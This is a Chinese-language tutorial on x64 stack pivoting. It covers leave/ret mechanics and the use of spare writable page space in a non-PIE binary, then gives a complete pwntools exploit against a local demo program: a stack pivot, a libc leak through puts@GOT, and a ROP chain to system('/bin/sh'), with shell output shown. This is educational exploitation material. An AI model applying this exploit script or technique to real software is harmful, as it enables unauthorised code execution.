初始栈迁移
在x64架构下,栈空间通过rsp和rbp寄存器进行标识,加入你想要分辨一个函数的序言或结语,那么栈空间操作会使一个很重要的标识信号,这是因为,当函数开始时,他需要先将父函数的rbp放入栈中保存,然后根据当前rsp更新为自身栈底指针(rbp),最后以rsp为标记分配栈空间,而函数返回时,则是进行反向操作,即先将分配的栈空间释放,再从栈上取出父函数栈底指针并恢复到rbp,最后根据栈上的返回地址返回到父函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 函数调用时栈空间操作的最基本情况 ->函数调用:push xxx # 函数返回地址压入栈内,此时rsp自动减去0x8序言:push %rbp # 保存父函数栈底指针到栈内,此时rsp自动减去0x8mov %rsp,$rbp # 设置被调用函数的栈底指针sub xxx,%rsp # 分配栈空间结语:leave # 相当于下方指令进行的操作 mov %rbp,%rsp; ## 释放之前分配的栈空间 pop %rbp ## 从栈上取出之前保存的父函数栈底指针到rbp,此时rsp自动加上0x8ret # 从栈上取出返回地址,然后返回,此时rsp自动加上0x8 |
栈几乎和函数形影不离,而且函数内部使用的局部变量、需要使用内存地址的变量都会被放入栈空间的内部。
针对于99%的情况,栈对于函数而言都是一个温顺的狗、懂事的猫、善良的鸟,正因如此函数对它有着无条件的信任,但是当栈被迁移到我们构造好的区域时,此时的形式就发生了翻天覆地的变化,函数与栈的关系就变成了东坡先生与狼、吕洞宾与狗以及郝建与老太太。

好了,从目前来看可控制的栈给了我们无限的遐想(也可能是画了个大饼),只有把栈劫持,我们就已经无所不能了!
如何进行栈迁移
想要把栈空间迁移到指定的位置,核心的原理就是修改rsp和rbp寄存器的数值,让它们指向我们期望中的位置。
针对于栈的各种篡改操作,它们通常会在函数结束才会开始生效,这是它们依赖于ret指令对程序的执行流程进行控制,因此在以往的文章中,没有针对leave指令构造参数的情况,但是这次情况发生了一些改变。
当我们针对leave指令在栈上构造参数时,它会通过pop rbp改变rbp寄存器中的数值,不过好像没什么用啊!想要改变rsp寄存器中的数值(pop和ret指令都是从rsp+xxx处取数值的),需要leave指令中的mov rbp,rsp操作,但是它在pop rbp的后面啊!
那怎么办?再来一次?......再来一次!
此时将返回值设置成leave指令的地址,进行第二次leave操作时,rsp就会会变成之前rbp的数值。
示例讲解
栈迁移有一个前提要求,就是攻击者具有一段可知的可读可写内存区域,但是程序加载到内存后,具有可读可写权限的段基本只有一个,这个段存放都是数据(包括初始化、动态链接、全局数据、变量信息),再加上现在的程序往往都会开启部分或全部只读保护,开启只读保护的直接结果就是可读可写段内基本只有.got.plt节、.data节及.bss节处于可写的状态。
1 2 3 4 5 6 7 8 9 | 可读可写的5号段:LOAD 0x0000000000002de8 0x0000000000403de8 0x0000000000403de8 0x0000000000000240 0x0000000000000248 RW 0x100005 .init_array .fini_array .dynamic .got .got.plt .data .bss12号段添加的只读保护区域:GNU_RELRO 0x0000000000002de8 0x0000000000403de8 0x0000000000403de8 0x0000000000000218 0x0000000000000218 R 0x112 .init_array .fini_array .dynamic .got |
其中.got.plt节用于延迟绑定,.data节内存放着已经初始化的变量数据,.bss节存储着尚未初始化的变量数据,修改它们时最好谨慎一些,万一后续还要使用,就会导致程序出现异常。
不然看出,目前我们的处境是十分艰难的,可读可写的部分并不多,而且这些个可读可写的部分好像还不太好惹。
车到山前必有路
尽管那些可读可写的部分不太好改,但是由于目前的机器基本使用的都是页表机制,内存分配就算只是1字节,它都会单独占上一个页,Linux下页大小通常都是0x1000(4KB),在99%的情况下,.got.plt节、.data节及.bss节不管占用几个页,最后都会剩余一部分空间。
显然页中的剩余空间给了我们足够的利用空间,使得我们可以大展拳脚。
除了这个之外,你最好起到程序没有使用PIE功能,不然的话你是没有办法可利用的内存区域地址的,除非先对内存地址进行泄露。
如何写内存呢?
尽管目前借助No PIE的帮助,我们可以直接通过ELF文件获得一段可靠的可读可写内存区域,但是我们要怎么往这段内存中写入数据呢?
此处需要两点要求,一是程序内部会调用类似read的读取函数,二是读取函数会使用栈上的缓冲区变量,这样读取时就会往已经迁移的栈上写数据了。
示例 - 在迁移栈上构造ROP
程序保护措施如下所示。
1 2 3 4 5 6 7 8 | Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)cat /proc/sys/kernel/randomize_va_space 2 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | 0000000000401136 <vuln>: 401136: 55 push %rbp 401137: 48 89 e5 mov %rsp,%rbp 40113a: 48 83 ec 30 sub $0x30,%rsp 40113e: 48 8d 05 bf 0e 00 00 lea 0xebf(%rip),%rax # 402004 <_IO_stdin_used+0x4> 401145: 48 89 45 f8 mov %rax,-0x8(%rbp) 401149: 48 8b 45 f8 mov -0x8(%rbp),%rax 40114d: 48 89 c7 mov %rax,%rdi 401150: e8 db fe ff ff call 401030 <puts@plt> 401155: 48 8d 45 d0 lea -0x30(%rbp),%rax 401159: ba 40 00 00 00 mov $0x40,%edx 40115e: 48 89 c6 mov %rax,%rsi 401161: bf 00 00 00 00 mov $0x0,%edi 401166: e8 d5 fe ff ff call 401040 <read@plt> 40116b: 90 nop 40116c: c9 leave 40116d: c3 ret000000000040116e <main>: 40116e: 55 push %rbp 40116f: 48 89 e5 mov %rsp,%rbp 401172: e8 bf ff ff ff call 401136 <vuln> 401177: 48 8d 05 95 0e 00 00 lea 0xe95(%rip),%rax # 402013 <_IO_stdin_used+0x13> 40117e: 48 89 c7 mov %rax,%rdi 401181: e8 aa fe ff ff call 401030 <puts@plt> 401186: b8 00 00 00 00 mov $0x0,%eax 40118b: 5d pop %rbp 40118c: c3 ret |
从上面的反汇编结果中可以看到,vuln函数内部具有明显的栈溢出,缓冲区变量的大小是0x20,但read函数实际读取的大小是0x40,由于缓冲区变量到栈底大小是0x30,所以溢出只能允许我们在函数返回时控制rbp和rip,这里显然无法直接找到system("/bin/sh")的调用,因此只给一个控制rip的空间显然是不够的,这里需要借助栈迁移构造一片新的栈空间。
从ELF文件中可以看到,编译期规划的可读可写段中.got.plt节之前的区域会被GNU_RELRO变成只读状态,只有.got.plt节后的区域是可读可写的。
1 2 3 4 5 6 7 | LOAD 0x0000000000002de8 0x0000000000403de8 0x0000000000403de8 0x0000000000000238 0x0000000000000240 RW 0x100005 .init_array .fini_array .dynamic .got .got.plt .data .bssGNU_RELRO 0x0000000000002de8 0x0000000000403de8 0x0000000000403de8 0x0000000000000218 0x0000000000000218 R 0x112 .init_array .fini_array .dynamic .got |
通过查看ELF文件内对节规划的内存布局可以知道,.got节之前的内容会占用一个页,.got.plt节会从0x404000开始,且.got.plt节到.bss节总共占用的空间也不会超过0x50,而它们又会占用一个页的空间(0x1000),因此还剩余0x950的空让我们进行利用。
1 2 3 4 5 6 7 8 9 10 11 | Contents of section .got: 403fc8 00000000 00000000 00000000 00000000 ................ 403fd8 00000000 00000000 00000000 00000000 ................Contents of section .got.plt: 403fe8 f83d4000 00000000 00000000 00000000 .=@............. 403ff8 00000000 00000000 36104000 00000000 ........6.@..... 404008 46104000 00000000 F.@.....Contents of section .bss: 404020 00000000 00000000 ........ |
新栈空间内的数据规划
首先第一步需要做的就是栈迁移,即利用第一次读取的机会,设置rbp+0x0的位置,不过返回地址应该如何设置呢?
再次设置leave指令的地址?我们需要构造ROP,小程序内部无法提供该有的指令给我们,因此需要把主意达到LibC的身上,但此时ASLR是开启的,我们对于LibC的基地址一无所知,因此需要先借助puts函数泄露地址(程序内部的puts函数从rbp-0x8的位置获取字符串)。
此时我们就有了返回地址的地点,即回到调用read函数的地方。首次读取时我们只需要设置rbp+0x0和rbp+0x8的位置,其余部分不需要管,这次也一样吗?(值得注意的是此时rbp中保存的数值就已经变成了我们之前设置的数值)
当然不是,为了完成ROP大业,我们需要在rbp-0x8的位置放置一个存储着LibC相关相关信息的地址,显然这里PLT中的跳转地址0x404000是非常合适的。
1 2 3 4 | 0000000000401030 <puts@plt>: 401030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404000 <puts@GLIBC_2.2.5> 401036: 68 00 00 00 00 push $0x0 40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20> |
拥有泄露LibC的数据之后,此时我们就有了当前rbp+0x0和rbp+0x8位置需要设置的数值,其中rbp+0x0还是假栈地址,而rbp+0x8则会指向调用puts函数的位置。
puts函数泄露完LibC地址之后,会再次调用read函数,这是对我们有利的。因为我们还有构造的ROP需要进行放置。
此时缓冲区中数据的设置,由返回时的rsp决定。第一步我们需要明白,函数返回时rsp寄存器中的数值会变成rbp中的数值+0x10(假栈地址+0x10),显然rsp没有指向我们设置的数据区,为了让pop和ret正常的工作,我们需要再进行一次leave操作,因此rbp+0x0需要设置为假栈地址-0x30的位置,rbp+0x8则指向leave指令的位置。
为了配合rsp的设置,第二次leave指令会将rbp+0x0中数值交给rsp,随后再pop rbp,最后再ret。pop rbp会从rsp+0x0的位置取出数值放入rbp内,因此rsp+0x0需要空出来,rsp+0x8之后的空间才是我们放置ROP的地方。
exploit构造
经过上面的分析后,构造出下方所示的exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | import osimport pwnimport structpwn.context.clear()pwn.context.update( arch = 'amd64', os = 'linux')target_info = { 'exec_path': './stack_pivoting_example', 'addr_len': 0x8, 'bufvar2stack': 0x30, 'libc_info': '', 'libc_base': 0x0, 'fake_stack': 0x404a00, 'call_read': 0x401155, 'call_puts': 0x401149, 'leave_ret': 0x40116c, 'puts_got': 0x404000, 'pop_rdi_ret': 0x2493d, 'ret': 0x2493e, 'bin_sh_str': 0x1afe43,}pwn.context.binary = pwn.ELF(target_info['exec_path'])target_info['libc_info'] = pwn.ELF(target_info['exec_path']).libcconn = pwn.process([target_info['exec_path']])pwn.pause()# stage 1payload2pivoting = b'A' * target_info['bufvar2stack']payload2pivoting += pwn.p64(target_info['fake_stack'])payload2pivoting += pwn.p64(target_info['call_read'])conn.sendafter('input somthing\n', payload2pivoting)# stage 2payload4leak_libc = b'A' * (target_info['bufvar2stack'] - target_info['addr_len'])payload4leak_libc += pwn.p64(target_info['puts_got'])payload4leak_libc += pwn.p64(target_info['fake_stack'])payload4leak_libc += pwn.p64(target_info['call_puts'])conn.send(payload4leak_libc)puts_got_addr = conn.recv()target_info['libc_base'] = int.from_bytes(puts_got_addr[:-1], byteorder='little') - target_info['libc_info'].sym['puts']print('[--] libc base address: {}'.format(hex(target_info['libc_base'])))# stage 3payload4rop = pwn.p64(target_info['fake_stack'])payload4rop += pwn.p64(target_info['libc_base'] + target_info['pop_rdi_ret'])payload4rop += pwn.p64(target_info['libc_base'] + target_info['bin_sh_str'])payload4rop += pwn.p64(target_info['libc_base'] + target_info['ret'])payload4rop += pwn.p64(target_info['libc_base'] + target_info['libc_info'].sym['system'])payload4rop += pwn.p64(target_info['libc_base'] + target_info['libc_info'].sym['exit'])payload4rop += pwn.p64(target_info['fake_stack'] - 0x30)payload4rop += pwn.p64(target_info['leave_ret'])conn.send(payload4rop)conn.interactive() |
成功PWN
运行刚刚构造好的exploit后就可以成功PWN获取Shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 | [+] Starting local process './stack_pivoting_example': pid 19562[*] Paused (press any to continue)/usr/lib/python3.12/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout)[--] libc base address: 0x789ec3a39000[*] Switching to interactive mode$ iduid=1000(nora) gid=1000(nora) groups=1000(nora),3(sys),90(network),98(power),991(lp),998(wheel)$ exit[*] Got EOF while reading in interactive$ [*] Process './stack_pivoting_example' stopped with exit code 2 (pid 19562)[*] Got EOF while sending in interactive |